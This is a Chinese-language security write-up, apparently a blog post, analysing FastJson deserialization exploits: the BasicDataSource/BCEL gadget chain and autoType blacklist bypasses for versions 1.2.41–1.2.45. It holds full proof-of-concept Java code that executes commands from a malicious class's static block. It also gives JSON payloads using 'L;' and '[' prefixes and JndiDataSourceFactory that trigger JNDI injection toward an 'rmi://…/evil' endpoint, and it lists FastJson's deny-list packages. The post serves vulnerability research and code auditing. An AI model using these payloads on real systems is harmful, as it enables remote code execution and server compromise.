FastJson反序列化后续

FastJson反序列化后续

BasicDataSource调用链

在查资料时,碰到了org.apache.tomcat.dbcp.dbcp.BasicDataSource这个Gadget,遂复现分析一波

前置知识

利用Class.forName()执行代码有两种方式

1
2
class.forname(classname)		
class.forname(classname, true, ClassLoaderName)

class.forname(classname)

通过控制参数classname执行代码

class.forname(classname, true, ClassLoaderName)

通过控制className与classLoaderName执行代码。

第一种方式是加载传入的类名,若类存在静态代码块,则会执行其中的代码;第二种方式指定类名与类加载器。其中第二个参数为true表示会加载静态代码块。

看个例子:

这里我们使用com.sun.org.apache.bcel.internal.util.ClassLoader这个动态加载器。这个classloader允许传入经过BCEL编码的字节码内容(className),所以我们对恶意类的字节码进行BCEL编码,赋给className,classloader指定为这个加载器,调用class.forname(className, true, classloader)就会加载恶意类的静态代码块中的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
恶意类			
Exploit.java
public class Exploit {
private static final String ex = "";

static {
try {
String ex = exec("ipconfig");
throw new Exception(ex);
} catch (Exception e) {
e.printStackTrace();
}
}

public static String exec(String cmd) throws Exception {
try {
String s = "";
int len;
int bufSize = 4096;
byte[] buffer = new byte[bufSize];
BufferedInputStream bis = new BufferedInputStream(Runtime.getRuntime()
.exec(cmd)
.getInputStream(),
bufSize);

while ((len = bis.read(buffer, 0, bufSize)) != -1)
s += new String(buffer, 0, len);
bis.close();
return s;
} catch (Exception e) {
return e.getMessage();
}
}
}

ClassForNamePoC.java
public class ClassForNamePoC {
public static void main(String[] args) throws Exception {
//1.指定类名 Class.forname(ClassName)
//Class.forName("Exploit");

//2.指定动态加载器与类 class.forname(classname, true, ClassLoaderName)
String classFile = "C:\\sec\\java-sec\\defineClassDemo\\target\\classes\\Exploit.class";
String className = "org.apache.log4j.spi$$BCEL$$"+class2BCEL(classFile);
ClassLoader cls=new com.sun.org.apache.bcel.internal.util.ClassLoader();
Class.forName(className,true,cls);
}

public static String class2BCEL(String classFile) throws Exception{
Path path = Paths.get(classFile);
byte[] bytes = Files.readAllBytes(path);
String result = Utility.encode(bytes,true);
return result;
}
}

2019-06-03.11.19.41-image.png

漏洞成因

Fastjson()使用parseObject()进行反序列化时,调用目标类的全部getter(),而Gadget的getConnection()方法存在Class.forName(driverClassName, true, driverClassLoader),且driverClassName与driverClassLoader可控,所以通过调用特定的Classloader去加载构造的恶意类,造成任意代码执行

漏洞条件

1
2
反序列化的格式是JSON.parseObject(jsonStr)即可。不用开启
Feature.SupportNonPublicField

漏洞分析

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
Exploit.java
public class Exploit {
static {

String ex = null;
try {
ex = exec("calc");
} catch (Exception e) {
throw new RuntimeException(ex);
}
}

public static String exec(String cmd) throws Exception{
String s = null;
int len;
byte[] bytes = new byte[4096];
BufferedInputStream bis = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream(),4096);
while ((len = bis.read(bytes,0,4096)) != -1){
s += new String(bytes,0,len);
}
bis.close();
throw new Exception(s);
}
}


BasicDataSourcePoC.java
public class BasicDataSourcePoC {
public static void main(String[] args) throws Exception {
//version:1.2.23
String classFile = "C:\\sec\\Exploit.class";
String className = "org.apache.log4j.$$BCEL$$"+class2BCEL(classFile);
String payload = "{\n" +
" \"@type\" : \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
" \"driverClassName\" : \""+className+"\",\n" +
" \"driverClassLoader\" :\n" +
" {\n" +
" \"@type\":\"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;\"\n" +
" }\n" +
"}";

Object obj = JSON.parseObject(payload);
}

//将字节码文件进行BCEL编码
public static String class2BCEL(String classFile) throws Exception{
Path path = Paths.get(classFile);
byte[] bytes = Files.readAllBytes(path);
String result = Utility.encode(bytes,true);
return result;
}

}

使用parseObject(payload)时会调用类的全部getter方法,其中在getConnection()中调用createDataSource(),跟进到createConnectionFactory()

2019-06-01.22.16.09-image.png

接着就会调用com.sun.org.apache.bcel.internal.util.ClassLoaderloadClass():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
...
if(cl == null) {
JavaClass clazz = null;

if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}

if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);

class_name如果存在$$BCEL$$,调用createClass(),跟进
截取real_name:
2019-06-01.22.18.32-image.png

经过decode()解码后,会得到恶意类的字节码
2019-06-01.22.20.52-image.png

最后返回到loadClass()中,调用defineClass()从字节码中还原类并加载,执行静态代码块中的命令

2019-06-03.10.42.15-image.png
2019-06-03.10.51.11-image.png

1.parseObject()为啥会调用getConnection()

当使用parseObject(jsonStr)时,会调用@type指定的所有getter(),包括不存在属性的getter()。

涉及到Fastjson的反序列化机制参考笔者之前文章:
Fastjson反序列化之TemplatesImpl调用链

FastJson反序列化1.2.41-1.2.45绕过

先知廖大神的议题:https://xz.aliyun.com/t/2400

之前分析的Fastjson反序列化之JdbcRowSetImpl利用链

下面基于poc:{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1093/evil\",\"autoCommit\":true}开始分析

1.2.41-1.2.45绕过

在1.2.41之后的版本autoTypeSupport默认为关闭状态,所以我们先开启设置:vm options:-Dfastjson.parser.autoTypeSupport=true

V1.2.41

运行原来poc,报错信息:autoType is not support. com.sun.rowset.JdbcRowSetImpl,在jar包中搜索autoType is not support,定位到com.alibaba.fastjson.parser.ParserConfig,该类会检查传入的class,若为以下关键字开头,会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.apache.xalan
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

之后Fastjson在loadClass()里面会进行一些操作:
2019-05-31.10.43.48-image.png

我们尝试分别使用[L ;绕过:

L ;绕过

1
{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://localhost:1093/evil\",\"autoCommit\":true}

绕过黑名单,到达loadClass()
2019-05-31.11.32.04-image.png

去除L ;,最后会返回class com.sun.rowset.JdbcRowSetImpl
2019-05-31.11.34.47-image.png

之后就是去调用JdbcRowSetImpl的set方法触发JDNI注入了

[绕过
绕过黑名单,到达loadClass()处,
2019-05-31.11.38.56-image.png

这样直接加[是不可以的,因为数组实例化的是Object类型,所以还要将传入的变量设置为数组格式:

1
{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"rmi://localhost:1093/evil\",\"autoCommit\":true]}

com.alibaba.fastjson.serializer.ObjectArrayCodec通过数组对象的getComponentType()可以获得组成数组元素即com.sun.rowset.JdbcRowSetImpl对象

2019-05-31.15.20.38-image.png

之后就是去调用JdbcRowSetImpl的set方法触发JDNI注入

看下getComponentType()用法:
2019-05-31.18.13.37-image.png

V1.2.42

防护方式就是将denyList改为denyHashCodes方式进行黑名单拦截

2019-05-31.21.26.33-image.png

HashCode计算比较复杂,相对提高了攻击门槛。用LLcom.sum.rowset.RowSetImpl;;绕过,因为在loadClass()中有递归方法,无论多少次层[ ;,都会去掉

V1.2.43

使用上面说的[com.sun.rowset.RowSetImp即可绕过

V1.2.45

需要引入第三方包:
https://mvnrepository.com/artifact/org.apache.ibatis/ibatis-core

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}绕过

很简单,就是setProperties()里调用lookup(),参数data_source可控,造成JNDI注入

2019-05-31.21.09.34-image.png

Bypass FastJson

Bypass FastJson的思路:

1.找Gadget,其setter()或getter()具有敏感操作
2.敏感操作包括:

1
2
3
4
5
6
7
8
JNDI注入(lookup()参数可控)  JdbcRowSetImpl与JndiDataSourceFactory都是这个思路							
newInstance()对象注入 TemplatesImpl

class.forname(classname, true, ClassLoaderName) classname与ClassLoaderName可控 BasicDataSource

反序列化过程中的map操作,通过equals()触发,可参考JDK7u21漏洞原理。不过这种情况相对复杂,需要对源码很熟悉

待补充....

总结

Fastjson是Java中处理Json数据的重要组件之一,在实际项目中用的还是比较多的。虽然在最后都是造成了任意命令执行,但是这4种攻击的利用手法是不同的,TemplatesImpl利用的newInstance()进行对象注入,JdbcRowSetImplJndiDataSourceFactory利用的是JNDI注入,而BasicDataSource是利用defineClass加载字节码对象。对于FastJson组件来说,我们挖掘的思路就是去寻找存在具有这些敏感操作的getter(),setter()对应的类,即Gadget。

另外在对Java Web项目进行代码审计时可以关注:

1
2
3
4
5
parse(jsonStr):JdbcRowSetImpl
parseObject(jsonStr):JdbcRowSetImpl BasicDataSource
parseObject(jsonStr,Object.class):JdbcRowSetImpl

当开启Feature.SupportNonPublicField时才可利用TemplatesImpl,所以版本必须在1.2.22-1.2.24之间

参考链接

https://xz.aliyun.com/t/2272
https://laworigin.github.io/2019/03/28/Fastjson-Deserialize-Vulnerability/
https://p0sec.net/index.php/archives/123/
http://xia0yu.win/java/34.html
https://paper.seebug.org/623/#3-fastjson
https://kevien.github.io/2018/06/18/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(%E7%BB%AD)/